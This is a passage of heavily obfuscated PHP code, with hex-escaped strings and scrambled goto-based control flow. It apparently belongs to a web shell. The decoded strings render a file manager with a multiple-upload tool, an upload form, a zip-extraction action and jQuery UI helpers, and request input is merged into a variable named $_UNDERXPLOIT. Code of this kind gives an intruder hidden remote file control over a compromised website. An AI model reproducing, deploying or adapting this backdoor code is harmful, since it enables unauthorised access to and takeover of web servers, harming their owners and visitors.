162\x65\141\x6b\x3b\x63\x61\163\x65\40\x22\x69\x6e\146\157\x22\72\44\x28\x22\x23\x75\x69\x5f\156\157\x74\x69\146\111\x74\x22\x29\x2e\x61\x64\144\x43\154\141\x73\163\50\42\x69\156\146\x6f\42\51\x3b\142\162\145\x61\153\73\143\141\163\145\40\42\x77\x61\x72\156\x69\x6e\x67\x22\x3a\44\50\42\43\x75\x69\137\x6e\157\164\x69\146\111\164\42\x29\x2e\x61\144\x64\103\x6c\x61\x73\163\50\42\167\141\x72\x6e\151\x6e\147\42\x29\73\x62\x72\x65\x61\x6b\73\x64\145\146\x61\165\154\164\72\44\50\42\43\x75\151\x5f\x6e\x6f\x74\151\x66\111\164\42\x29\56\141\x64\144\x43\154\141\x73\163\x28\x22\x64\145\146\141\165\154\164\x22\51\x3b\142\x72\145\x61\153\175\x20\163\x77\x69\x74\143\x68\x28\x70\157\x73\x69\164\x69\157\x6e\51\x7b\143\x61\x73\145\40\x22\154\145\x66\x74\42\72\x24\x28\42\43\165\x69\x5f\x6e\157\x74\151\x66\111\164\42\51\x2e\x63\x73\x73\x28\x22\154\x65\146\x74\42\x2c\x70\141\162\163\x65\111\156\164\50\60\55\x28\167\151\144\x74\x68\52\62\51\51\51\x3b\142\x72\x65\141\x6b\x3b\143\141\x73\x65\x20\x22\x72\x69\x67\150\x74\x22\x3a\x24\x28\x22\x23\165\151\137\156\x6f\x74\x69\146\x49\x74\42\x29\56\x63\x73\163\50\42\x72\x69\147\x68\x74\x22\x2c\x70\x61\x72\163\x65\x49\156\x74\50\60\x2d\50\x77\x69\144\164\150\52\62\x29\x29\51\73\x62\x72\145\141\x6b\x3b\143\x61\163\x65\x20\x22\143\145\156\x74\145\x72\42\72\166\141\x72\40\x6d\x69\144\75\167\151\x6e\144\x6f\167\56\151\x6e\156\x65\x72\x57\151\144\164\150\x2f\x32\x3b\x24\x28\x22\43\165\151\137\x6e\157\x74\x69\x66\111\164\x22\51\56\x63\163\163\x28\x22\x6c\x65\x66\164\x22\54\x6d\x69\x64\x2d\x70\x61\x72\163\145\111\156\x74\50\167\x69\144\164\150\x2f\x32\x29\51\x3b\x62\162\145\x61\153\73\x64\x65\146\141\x75\x6c\x74\72\x76\141\162\x20\155\x69\144\75\x77\x69\156\x64\x6f\167\56\x69\156\156\145\162\x57\151\144\x74\150\x2f\62\x3b\44\50\42\x23\x75\151\137\156\x6f\x74\x69\x66\x49\164\x22\x29\56\x63\163\x73\x28\x22\x6c\145\x66\x74\42\54\155\151\144\x2d\160\x61\x72\163\x65\111\x6e\x74\x28\167\151\144\x74\x68\57\x32\51\51\x3b\142\162\145\141\153\x7d\x20\44\x28\x22\x23\165\151\x5f\156\x6f\164\151\x66\x49\164\40\160\42\x29\56\x63\163\x73\x28\42\154\x69\x6e\x65\55\150\x65\151\147\150\164\x22\x2c\x68\x65\151\147\150\x74\53\x22\160\x78\42\x29\73\163\x77\x69\164\x63\150\50\x70\x6f\x73\x69\x74\x69\x6f\x6e\51\173\x63\x61\163\145\x20\42\x63\145\x6e\164\x65\x72\42\x3a\44\50\42\43\165\151\x5f\156\157\x74\151\146\x49\164\42\51\x2e\x61\x6e\151\155\141\164\x65\x28\x7b\x74\157\x70\72\61\60\175\x29\73\142\162\145\141\153\x3b\x63\141\163\x65\40\x22\162\151\x67\150\164\42\x3a\44\50\x22\x23\x75\151\137\x6e\x6f\x74\x69\x66\111\164\42\51\56\141\x6e\151\155\x61\164\145\50\x7b\x72\x69\147\x68\x74\72\x31\60\175\51\x3b\142\162\145\141\153\x3b\143\x61\x73\x65\40\x22\154\145\146\164\42\72\x24\x28\x22\x23\x75\151\x5f\156\x6f\x74\151\146\111\x74\x22\x29\x2e\141\156\151\x6d\141\x74\x65\50\x7b\x6c\x65\x66\164\x3a\61\60\x7d\51\x3b\142\162\145\141\153\x3b\144\145\x66\141\x75\x6c\x74\x3a\44\50\42\x23\x75\151\x5f\x6e\157\164\151\146\111\x74\x22\51\x2e\141\x6e\x69\x6d\x61\164\145\x28\x7b\162\x69\147\x68\x74\72\x31\60\175\51\x3b\x62\162\x65\x61\153\x7d\x20\x24\x28\x22\x23\165\x69\x5f\156\x6f\164\x69\x66\111\x74\42\x29\56\x63\154\151\x63\153\50\x66\165\156\x63\164\151\x6f\156\50\x29\x7b\156\x6f\164\151\x66\151\x74\137\144\x69\163\155\x69\x73\163\x28\51\x7d\x29\73\151\146\x28\141\165\164\157\150\x69\x64\145\75\75\x21\x30\51\40\x74\x6f\x3d\163\145\x74\124\151\x6d\145\157\165\x74\50\x66\165\x6e\x63\164\151\157\156\x28\51\173\156\x6f\x74\151\x66\x69\164\x5f\x64\151\x73\x6d\x69\x73\x73\x28\51\x7d\x2c\x35\x30\60\x30\51\175\x20\x66\165\156\143\164\x69\157\156\x20\156\x6f\164\151\146\x69\164\x5f\144\x69\x73\x6d\x69\163\x73\x28\x29\x7b\143\x6c\x65\x61\x72\111\x6e\164\145\x72\x76\141\154\x28\164\x6f\51\73\x69\x66\50\160\x6f\163\x69\164\151\x6f\x6e\x3d\x3d\42\143\145\156\164\x65\x72\x22\x29\173\44\50\42\x23\x75\151\x5f\156\157\164\x69\x66\x49\164\42\51\x2e\x61\156\x69\155\141\164\145\50\x7b\x74\157\160\72\160\141\162\163\x65\x49\x6e\x74\x28\150\145\x69\x67\x68\x74\x2d\x28\x68\x65\x69\x67\150\164\x2f\x32\51\51\x7d\54\61\60\x30\x2c\x66\x75\x6e\143\x74\x69\x6f\x6e\x28\51\x7b\x24\50\42\x23\165\x69\x5f\x6e\x6f\164\151\x66\x49\164\42\x29\x2e\x61\x6e\151\x6d\x61\x74\145\50\x7b\164\x6f\x70\x3a\x70\x61\162\x73\145\111\156\x74\x28\x30\x2d\50\150\145\151\147\150\x74\52\62\x29\x29\175\54\61\x30\x30\54\146\165\x6e\x63\x74\151\x6f\156\50\51\173\44\50\42\43\165\x69\137\x6e\157\x74\151\x66\111\164\x22\x29\x2e\162\x65\155\x6f\x76\x65\x28\51\175\x29\x7d\51\175\145\154\x73\x65\x20\x69\146\x28\160\x6f\x73\x69\x74\151\157\156\x3d\x3d\42\x72\x69\x67\x68\x74\42\51\x7b\44\x28\x22\x23\x75\x69\x5f\156\x6f\164\151\146\111\164\x22\x29\x2e\141\x6e\151\155\x61\164\145\x28\x7b\162\x69\x67\150\x74\72\x70\141\162\163\145\x46\x6c\x6f\141\x74\50\167\151\144\x74\150\x2d\x28\167\151\144\164\150\52\x30\x2e\71\x29\51\x7d\54\x31\x30\60\x2c\x66\165\x6e\x63\x74\151\157\x6e\50\x29\173\x24\50\x22\43\x75\x69\x5f\x6e\x6f\164\151\x66\x49\x74\42\x29\56\x61\156\151\155\x61\x74\x65\x28\173\162\x69\147\150\x74\x3a\160\141\x72\163\x65\111\156\164\x28\60\55\50\167\151\x64\x74\x68\52\x32\51\x29\x7d\54\x31\60\x30\54\146\x75\x6e\x63\x74\151\157\156\x28\x29\x7b\44\50\42\x23\x75\151\x5f\156\x6f\164\x69\146\x49\164\42\x29\x2e\162\145\155\x6f\166\145\50\x29\x7d\51\x7d\51\175\x65\154\163\145\x20\x69\x66\50\x70\x6f\x73\151\x74\x69\157\156\x3d\75\42\154\x65\146\164\x22\x29\173\44\50\x22\43\165\x69\137\x6e\157\x74\x69\x66\x49\164\42\x29\x2e\141\156\151\155\x61\164\x65\50\x7b\154\x65\146\164\72\160\x61\162\163\x65\x46\154\x6f\x61\164\x28\167\151\144\164\x68\x2d\x28\167\151\x64\x74\x68\52\x30\56\71\51\x29\x7d\x2c\x31\60\60\54\146\x75\156\143\164\x69\157\156\50\51\173\44\x28\42\x23\165\151\x5f\x6e\157\164\x69\146\111\x74\x22\51\x2e\x61\x6e\x69\x6d\141\164\145\x28\x7b\x6c\145\146\x74\x3a\x70\141\x72\163\145\111\x6e\164\x28\x30\x2d\50\x77\151\144\x74\x68\52\x32\x29\x29\175\x2c\61\60\x30\54\146\165\x6e\143\x74\151\x6f\x6e\x28\x29\173\44\50\42\x23\165\151\137\x6e\157\164\x69\x66\111\164\x22\51\x2e\162\x65\x6d\x6f\x76\x65\50\x29\x7d\x29\x7d\x29\175\x20\156\x6f\164\x69\146\x69\164\x5f\163\145\x74\x44\145\146\x61\165\x6c\x74\126\141\154\165\x65\163\50\51\175\x3c\x2f\163\x63\x72\151\160\x74\x3e\xa\x3c\x73\x63\162\x69\x70\164\x20\164\171\160\145\x3d\42\164\145\170\x74\x2f\x6a\141\166\x61\x73\x63\162\x69\160\x74\x22\x3e\xa\x20\x20\x28\146\x75\156\x63\164\151\x6f\156\x28\x24\51\40\x7b\xa\x20\x20\40\x20\44\56\146\x6e\56\154\151\x6e\x65\144\x74\145\x78\x74\x61\x72\145\141\40\75\x20\x66\165\156\143\164\x69\x6f\156\x28\x6f\160\164\151\157\x6e\163\x29\x20\173\12\x20\x20\40\40\40\40\x20\x20\x76\141\162\x20\157\160\x74\163\x20\x3d\40\44\56\x65\170\164\145\x6e\x64\x28\173\175\54\x20\44\56\146\156\x2e\x6c\151\156\145\144\164\x65\170\164\x61\162\145\x61\x2e\x64\x65\146\141\x75\154\x74\x73\54\x20\x6f\160\164\x69\157\156\163\x29\73\xa\40\40\x20\x20\40\x20\x20\x20\166\141\162\x20\x66\x69\x6c\x6c\x4f\165\x74\114\151\x6e\145\163\40\x3d\40\x66\165\156\x63\164\151\157\156\x28\x63\x6f\144\145\114\151\156\145\163\x2c\40\x68\54\x20\154\x69\x6e\145\116\157\51\x20\x7b\xa\x20\x20\40\40\x20\x20\40\x20\40\x20\40\x20\x77\150\x69\x6c\x65\x20\x28\50\x63\x6f\144\145\x4c\x69\x6e\x65\163\56\150\145\151\147\x68\x74\50\x29\x20\x2d\x20\150\51\40\x3c\75\40\x30\51\x20\x7b\xa\x20\40\40\x20\40\40\40\x20\40\40\40\40\x20\40\40\40\x69\146\x20\50\x6c\x69\x6e\145\x4e\x6f\40\x3d\75\x20\157\x70\x74\x73\56\163\145\154\x65\x63\x74\x65\x64\x4c\151\156\x65\x29\12\x20\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x20\x20\x20\40\x20\40\40\143\x6f\144\x65\x4c\x69\x6e\x65\163\x2e\141\x70\160\145\x6e\x64\50\42\x3c\x64\151\166\40\143\x6c\x61\x73\x73\75\x27\154\x69\x6e\145\156\157\40\154\151\156\145\x73\x65\x6c\x65\143\x74\47\76\42\40\53\40\x6c\x69\x6e\x65\116\157\x20\x2b\x20\42\x3c\57\144\x69\x76\76\42\x29\73\xa\40\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\x65\x6c\x73\x65\40\x63\157\144\x65\114\x69\156\x65\x73\x2e\x61\160\x70\145\x6e\144\50\x22\x3c\x64\x69\x76\x20\143\154\141\x73\163\75\47\154\151\x6e\145\156\x6f\47\76\42\x20\x2b\x20\x6c\151\x6e\145\116\157\40\53\40\42\74\57\x64\x69\x76\76\42\x29\73\12\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\x6c\151\156\x65\116\x6f\x2b\x2b\xa\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x7d\12\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\x72\145\x74\165\x72\x6e\40\154\151\156\x65\116\x6f\12\40\x20\40\40\x20\x20\x20\x20\x7d\73\xa\x20\40\x20\40\x20\x20\x20\x20\x72\x65\x74\x75\162\x6e\x20\x74\150\151\x73\x2e\x65\141\x63\150\50\146\x75\156\x63\x74\x69\x6f\x6e\x28\x29\x20\173\12\40\40\40\x20\40\x20\40\40\40\40\40\x20\166\141\162\x20\154\x69\x6e\x65\116\x6f\x20\75\x20\61\x3b\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\166\x61\162\x20\x74\x65\x78\x74\x61\x72\145\x61\x20\x3d\40\44\50\164\x68\x69\x73\x29\x3b\12\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\164\145\x78\x74\x61\x72\145\141\x2e\141\x74\x74\162\x28\42\x77\162\141\160\42\54\40\42\x6f\x66\x66\x22\x29\x3b\12\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\164\145\170\164\x61\162\145\x61\x2e\143\163\163\50\173\12\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\162\x65\x73\x69\172\x65\x3a\x20\x27\156\157\x6e\145\47\12\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x7d\51\x3b\xa\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x76\141\x72\40\157\162\151\147\x69\x6e\141\x6c\x54\145\170\x74\x41\x72\145\141\127\x69\144\x74\150\x20\x3d\40\x74\x65\170\x74\141\162\145\141\x2e\157\165\x74\x65\x72\x57\151\144\164\x68\x28\51\x3b\12\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x74\x65\x78\x74\x61\x72\145\x61\x2e\x77\x72\141\160\50\x22\x3c\144\151\x76\x20\143\154\x61\x73\x73\x3d\47\x6c\151\x6e\145\x64\164\x65\170\164\141\162\x65\141\x27\x3e\74\x2f\144\151\x76\76\42\51\73\xa\x20\x20\40\x20\40\40\x20\40\40\40\40\40\x76\x61\162\x20\x6c\151\156\145\144\x54\145\170\164\x41\x72\145\x61\104\x69\166\40\75\40\x74\145\170\x74\x61\162\x65\x61\56\160\x61\x72\x65\x6e\164\x28\51\x2e\167\162\x61\160\x28\x22\74\x64\x69\166\40\143\154\141\163\163\x3d\x27\154\x69\156\x65\144\x77\162\x61\x70\47\x20\x73\x74\x79\x6c\x65\75\x27\x77\x69\144\x74\x68\x3a\x22\40\x2b\x20\157\162\x69\147\x69\156\141\154\x54\145\170\x74\101\x72\145\x61\x57\151\x64\164\x68\40\x2b\x20\x22\160\x78\47\76\x3c\x2f\x64\151\166\x3e\x22\51\73\12\40\40\40\x20\40\x20\40\40\x20\x20\40\40\166\x61\162\x20\154\151\x6e\145\x64\x57\162\141\x70\x44\151\x76\x20\75\40\x6c\x69\x6e\145\x64\124\x65\170\164\x41\162\145\141\x44\151\166\56\x70\x61\162\x65\x6e\x74\x28\51\73\12\40\40\40\x20\x20\40\40\40\x20\40\40\x20\154\x69\156\x65\x64\x57\x72\x61\x70\104\151\x76\x2e\160\x72\145\x70\x65\x6e\x64\x28\x22\74\x64\x69\166\x20\143\154\x61\x73\163\75\47\154\151\156\x65\x73\x27\40\163\164\x79\x6c\x65\75\47\x77\151\144\164\x68\x3a\63\71\160\170\x27\x3e\x3c\x2f\x64\x69\x76\x3e\x22\x29\73\xa\40\40\40\40\40\x20\x20\40\x20\40\40\40\166\x61\162\40\154\x69\156\145\x73\104\151\x76\x20\75\x20\154\x69\156\145\x64\127\x72\x61\x70\104\x69\x76\x2e\146\x69\156\x64\50\x22\56\154\x69\x6e\x65\163\x22\51\x3b\xa\x20\x20\40\40\40\x20\40\x20\40\40\x20\x20\154\x69\x6e\145\x73\104\151\x76\x2e\x68\145\151\x67\x68\164\50\x74\x65\170\x74\141\x72\x65\141\x2e\x68\x65\151\x67\x68\x74\x28\x29\x20\x2b\x20\66\x29\73\xa\40\40\40\x20\x20\40\40\40\40\x20\x20\40\154\151\x6e\x65\163\104\x69\x76\x2e\x61\x70\x70\145\x6e\144\x28\x22\x3c\x64\151\x76\40\143\x6c\141\x73\x73\75\x27\x63\x6f\144\x65\154\151\156\145\x73\47\76\74\x2f\x64\x69\166\76\42\51\73\xa\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x76\x61\162\40\x63\x6f\144\145\114\x69\x6e\145\x73\104\151\x76\x20\x3d\40\154\151\156\145\x73\x44\151\x76\x2e\146\x69\156\x64\x28\42\x2e\x63\157\x64\145\154\x69\156\x65\163\42\x29\x3b\12\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\154\151\x6e\145\116\x6f\40\75\x20\146\151\x6c\x6c\x4f\x75\x74\x4c\x69\156\x65\x73\50\143\x6f\x64\x65\x4c\x69\x6e\145\x73\104\151\166\x2c\40\x6c\151\156\145\163\104\x69\166\56\x68\145\x69\x67\x68\164\50\x29\54\x20\61\51\x3b\xa\40\x20\x20\x20\40\40\40\40\40\40\40\40\151\146\40\50\x6f\x70\x74\163\56\x73\145\154\145\143\x74\145\144\114\151\x6e\145\40\41\75\x20\55\61\x20\46\46\x20\x21\x69\163\116\141\x4e\x28\157\160\164\x73\x2e\x73\x65\154\145\x63\x74\145\x64\x4c\151\x6e\145\x29\x29\x20\x7b\12\x20\x20\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x76\x61\x72\40\146\x6f\156\x74\123\151\x7a\x65\40\75\40\160\141\162\x73\x65\111\156\164\x28\x74\x65\x78\164\141\x72\x65\141\56\x68\145\x69\x67\x68\x74\x28\x29\x20\x2f\40\x28\x6c\151\156\x65\x4e\x6f\x20\55\40\x32\51\x29\x3b\12\x20\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\40\x76\x61\x72\x20\160\157\x73\x69\x74\151\157\156\40\75\x20\x70\x61\x72\x73\x65\x49\156\164\x28\x66\x6f\x6e\164\123\151\x7a\145\x20\52\x20\157\x70\x74\x73\x2e\163\145\x6c\x65\143\x74\x65\144\x4c\151\x6e\x65\x29\40\55\x20\50\x74\145\170\164\x61\x72\x65\141\x2e\x68\145\x69\147\150\164\50\51\x20\x2f\40\62\x29\73\12\40\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\164\x65\170\164\x61\162\145\141\x5b\60\x5d\56\163\x63\162\x6f\154\154\x54\x6f\x70\40\x3d\40\160\x6f\x73\151\x74\151\x6f\x6e\xa\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x7d\xa\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\166\x61\162\40\x73\x69\144\x65\142\141\162\127\151\144\164\x68\x20\x3d\40\154\151\x6e\x65\x73\104\151\x76\x2e\x6f\165\x74\145\x72\x57\151\x64\x74\x68\x28\51\x3b\12\40\40\40\40\40\x20\40\x20\40\x20\40\40\x76\x61\x72\40\160\x61\144\x64\x69\x6e\x67\110\x6f\x72\x69\172\x6f\156\164\x61\x6c\40\75\40\x70\x61\x72\163\145\x49\156\164\x28\x6c\x69\156\145\144\127\x72\x61\160\104\x69\x76\x2e\x63\x73\163\x28\42\142\157\x72\x64\x65\x72\x2d\154\x65\146\x74\x2d\x77\x69\144\164\x68\42\x29\51\x20\53\40\160\x61\162\x73\145\111\x6e\164\x28\154\x69\156\x65\x64\x57\162\141\x70\x44\x69\x76\56\x63\163\x73\x28\42\x62\x6f\162\x64\145\x72\x2d\x72\151\x67\150\x74\55\167\x69\144\x74\150\42\51\51\40\x2b\x20\160\x61\x72\163\145\x49\x6e\x74\x28\154\x69\x6e\145\x64\127\162\141\x70\x44\151\166\56\143\163\x73\50\42\160\141\144\144\x69\x6e\x67\55\x6c\145\146\164\42\51\51\40\53\40\x70\141\162\163\145\111\156\164\50\x6c\x69\x6e\x65\144\x57\x72\x61\x70\104\x69\x76\x2e\143\163\163\50\42\x70\141\144\144\151\x6e\147\55\x72\x69\x67\x68\164\x22\51\51\73\xa\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x76\141\x72\40\x6c\151\156\145\144\x57\x72\141\x70\104\151\x76\x4e\x65\x77\x57\x69\x64\x74\x68\40\75\x20\157\162\151\147\x69\x6e\x61\154\x54\145\x78\164\x41\162\x65\141\127\151\144\164\150\40\x2d\x20\160\141\144\x64\151\x6e\x67\x48\x6f\x72\x69\x7a\x6f\x6e\164\141\x6c\x3b\xa\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\x76\141\162\x20\x74\145\x78\164\141\x72\x65\x61\x4e\x65\x77\x57\x69\144\x74\150\40\x3d\40\x6f\x72\x69\147\151\156\x61\x6c\124\x65\x78\x74\101\162\145\141\127\x69\x64\x74\150\x20\55\40\x73\151\144\x65\142\141\x72\127\151\x64\164\150\40\55\40\160\x61\x64\x64\x69\156\147\x48\x6f\162\151\172\157\x6e\x74\141\x6c\x20\x2d\x20\62\x30\73\12\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\164\145\x78\164\141\162\145\x61\56\167\151\144\x74\150\50\x74\145\170\164\141\162\x65\x61\116\145\x77\127\151\144\164\150\x29\x3b\12\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\x6c\151\x6e\145\144\x57\x72\x61\x70\x44\x69\x76\x2e\167\x69\x64\164\150\x28\x6c\151\x6e\145\x64\127\x72\141\160\104\x69\x76\x4e\145\x77\127\151\144\x74\150\51\73\12\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x74\145\170\164\141\x72\x65\x61\x2e\x73\143\162\x6f\154\154\50\146\165\x6e\143\x74\151\157\156\x28\x74\156\51\40\x7b\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x76\x61\x72\40\x64\x6f\x6d\124\145\170\164\101\x72\145\141\x20\75\40\44\x28\164\x68\151\163\51\x5b\x30\x5d\73\12\x20\40\x20\40\x20\40\x20\40\40\40\40\40\40\40\40\x20\x76\141\162\x20\x73\x63\x72\x6f\154\x6c\124\x6f\160\40\75\x20\144\x6f\155\124\145\x78\x74\x41\x72\x65\x61\x2e\x73\143\162\157\x6c\154\124\x6f\160\x3b\xa\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x76\141\x72\x20\143\154\x69\x65\x6e\x74\x48\x65\151\x67\150\x74\40\75\40\x64\x6f\155\124\x65\170\x74\101\162\x65\141\x2e\x63\x6c\x69\x65\x6e\164\110\x65\x69\x67\150\164\x3b\xa\x20\x20\40\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\143\157\144\x65\114\x69\156\145\163\x44\x69\166\56\143\163\x73\50\173\12\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\x27\x6d\141\x72\147\151\x6e\x2d\x74\157\x70\x27\x3a\40\50\55\61\40\x2a\40\x73\x63\162\x6f\154\x6c\124\x6f\x70\x29\x20\53\x20\x22\160\170\42\12\x20\40\40\40\40\x20\40\x20\40\x20\40\40\x20\40\40\40\175\51\73\12\40\40\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x6c\151\x6e\145\x4e\x6f\40\75\x20\x66\x69\x6c\154\117\165\x74\114\151\x6e\145\x73\50\x63\157\x64\x65\114\151\x6e\x65\x73\x44\x69\166\x2c\x20\x73\143\162\157\x6c\154\x54\157\160\40\53\40\x63\x6c\151\145\x6e\164\110\x65\151\147\150\164\54\40\x6c\151\x6e\x65\x4e\157\51\12\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x7d\51\73\12\40\40\40\x20\x20\x20\x20\40\40\40\40\40\164\x65\x78\x74\141\x72\145\x61\x2e\x72\x65\x73\151\172\x65\x28\x66\165\156\x63\x74\151\x6f\156\x28\164\x6e\51\x20\173\xa\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\166\141\162\40\x64\157\155\124\x65\x78\x74\101\162\145\141\x20\75\x20\44\50\x74\x68\x69\163\x29\x5b\60\135\73\12\40\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\154\151\156\x65\x73\104\151\166\x2e\x68\x65\x69\x67\x68\164\x28\x64\x6f\155\x54\x65\x78\x74\x41\162\145\141\x2e\x63\154\151\x65\156\164\110\x65\x69\147\150\x74\x20\x2b\x20\x36\51\xa\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\175\51\xa\x20\x20\x20\40\40\x20\x20\x20\x7d\51\xa\x20\x20\40\x20\x7d\x3b\12\40\40\40\40\x24\56\x66\156\56\x6c\151\156\145\144\164\145\170\x74\x61\x72\x65\141\x2e\144\x65\x66\x61\x75\x6c\x74\163\40\x3d\40\x7b\xa\40\x20\x20\40\40\40\x20\40\x73\x65\x6c\x65\x63\164\145\144\x4c\x69\156\145\x3a\40\x2d\61\54\xa\x20\x20\x20\x20\40\x20\x20\40\x73\x65\154\x65\143\x74\x65\144\x43\154\141\x73\x73\72\40\x27\154\151\156\x65\x73\145\x6c\x65\143\164\47\12\40\40\x20\40\x7d\xa\175\x29\x28\x6a\x51\x75\x65\x72\171\51\x20\74\57\x73\143\162\x69\x70\x74\76"; goto yW1ta; zOr2h: print "\74\164\x61\142\154\x65\x20\x63\154\141\x73\163\x3d\42\x65\x78\x2d\150\157\x76\42\x3e\x3c\164\144\40\x63\x6c\x61\163\163\x3d\42\164\x64\55\x74\157\157\154\163\x2d\x6c\145\x66\164\42\76\74\x69\40\143\154\141\163\x73\75\42\172\155\x64\151\40\172\155\144\151\x2d\x63\x68\x61\x72\x74\x2d\x64\157\x6e\165\164\x20\172\x6d\144\x69\55\150\143\x2d\146\167\42\76\x3c\57\x69\x3e\74\57\164\144\x3e\74\164\x64\40\x63\154\141\163\163\75\42\x74\x64\55\164\157\157\x6c\163\x2d\143\x6f\156\x74\x65\156\164\42\x3e\x4d\165\154\164\x69\x70\154\145\40\125\x70\154\x6f\x61\x64\x3c\57\164\x64\x3e\x3c\164\x64\40\143\154\141\163\x73\x3d\42\164\144\55\164\157\x6f\154\x73\55\x69\x63\157\x6e\x22\76\74\141\40\x6f\156\x63\x6c\x69\143\153\x3d\x27\x63\50\42\77" . x7 . "\165\160\154\157\x61\x64\x26" . x5 . $dir . "\x22\51\x27\76\74\142\x75\x74\164\157\x6e\40\x63\154\141\163\x73\x3d\42\x62\164\x6e\55\x65\170\145\x22\x3e\74\x69\40\x63\x6c\x61\163\x73\x3d\x22\172\x6d\144\151\x20\x7a\x6d\144\151\x2d\154\x6f\x6e\x67\55\x61\x72\162\157\167\x2d\x72\151\x67\x68\164\x20\172\x6d\144\151\x2d\150\x63\x2d\x66\x77\42\x3e\x3c\57\151\76\x3c\x2f\x62\x75\164\164\x6f\x6e\x3e\74\x2f\141\x3e\x3c\57\164\x64\x3e\x3c\x2f\164\x61\142\x6c\145\76"; goto W9jkc; N4Gnl: print "\162\x65\x74\165\162\x6e\x20\x66\x61\x6c\x73\x65\73\xa\11\11\x7d\40\144\157\x63\165\x6d\145\156\x74\56\147\145\164\105\154\x65\155\145\156\x74\x42\x79\111\144\50\42\45\x22\x29\x2e\163\165\142\x6d\151\x74\50\51\x3b\12\x7d\x20\74\57\163\143\x72\x69\160\164\76\12\74\x74\x61\x62\154\x65\76\12\40\x20\x20\x20\74\x74\x64\40\141\x6c\x69\147\156\75\x22\143\145\156\164\x65\162\42\x20\x76\x61\154\151\x67\x6e\75\42\x74\157\160\42\40\x73\164\171\x6c\x65\75\42\167\x69\x64\x74\x68\72\61\x30\45\x3b\x70\141\x64\144\151\x6e\147\x2d\164\157\160\72\61\x31\160\170\42\x3e\74\x69\x20\x63\x6c\x61\x73\x73\75\42\x7a\x6d\x64\151\40\x7a\155\x64\x69\x2d\x63\150\x65\x76\x72\157\x6e\55\x72\151\x67\x68\164\x20\172\155\x64\151\x2d\x68\143\x2d\146\167\x22\x3e\74\57\151\x3e\74\x2f\x74\x64\76\12\40\x20\40\40\74\x74\144\x20\x73\164\171\154\145\x3d\x22\167\151\144\164\150\x3a\67\x30\x25\42\76\xa\40\x20\40\40\x20\x20\x20\40\x3c\x66\x6f\162\x6d\40\x65\x6e\143\x74\171\160\x65\x3d\42\x6d\165\154\x74\151\160\141\x72\x74\57\146\x6f\162\x6d\x2d\x64\141\x74\x61\42\x20\141\x63\x74\x69\157\156\75\42\x3f" . x5 . $dir . "\42\40\155\x65\164\150\157\144\x3d\x22\x50\x4f\x53\x54\42\76\x3c\x69\x6e\160\165\164\40\x74\x79\x70\x65\75\42\x66\151\154\x65\x22\40\x6e\x61\x6d\x65\x3d\42\x64\141\x74\x61\42\x20\x69\144\75\x22\165\x70\x22\x3e\x3c\x2f\x74\x64\76\xa\40\40\x20\x20\x3c\164\x64\40\x73\164\x79\154\145\75\42\167\151\x64\164\150\x3a\x32\x30\45\x22\x20\x76\141\x6c\x69\147\x6e\x3d\x22\164\157\x70\42\x3e\x3c\x62\x75\164\x74\x6f\x6e\40\164\171\x70\x65\x3d\42\x73\x75\x62\x6d\151\x74\x22\40\143\154\141\163\x73\75\x22\x62\x74\x6e\55\145\x78\x65\42\x20\163\x74\171\154\145\x3d\x22\x6d\141\x72\x67\x69\x6e\x2d\164\x6f\x70\x3a\x31\160\x78\x22\x20\157\156\x63\x6c\151\143\153\75\42\165\x70\x6c\157\x61\144\50\51\73\162\x65\164\165\x72\x6e\40\x66\141\154\163\x65\x3b\42\76\74\151\x20\x63\154\x61\163\x73\x3d\42\x7a\155\144\x69\40\x7a\x6d\144\x69\x2d\154\x6f\156\x67\55\x61\x72\x72\x6f\x77\55\x72\x69\x67\150\x74\x20\x7a\x6d\x64\x69\x2d\150\x63\x2d\x66\167\x22\x3e\74\x2f\x69\x3e\x3c\x2f\x62\x75\164\164\x6f\x6e\76\x3c\57\x66\157\x72\x6d\76\xa\x20\x20\x20\x20\74\x2f\x74\x64\x3e\12\x3c\x2f\x74\x61\x62\x6c\x65\x3e"; goto KEUqO; upebD: $_UNDERXPLOIT = array_merge($_POST, $_GET); goto MLFuV; kG5cS: print "\x72\145\164\165\162\156\x20\146\x61\154\x73\x65\73\xa\x9\x7d\40\144\x6f\x63\165\155\x65\156\x74\x2e\147\145\164\x45\154\x65\155\145\156\164\102\x79\x49\144\x28\42\145\x78\x7a\x69\x70\42\x29\56\163\165\142\155\x69\164\x28\51\x3b\12\175\x20\74\x2f\163\143\162\151\160\x74\x3e"; goto o_Vxs; oPmsG: $linkcr = "\114\151\x6e\153\72\x20" . 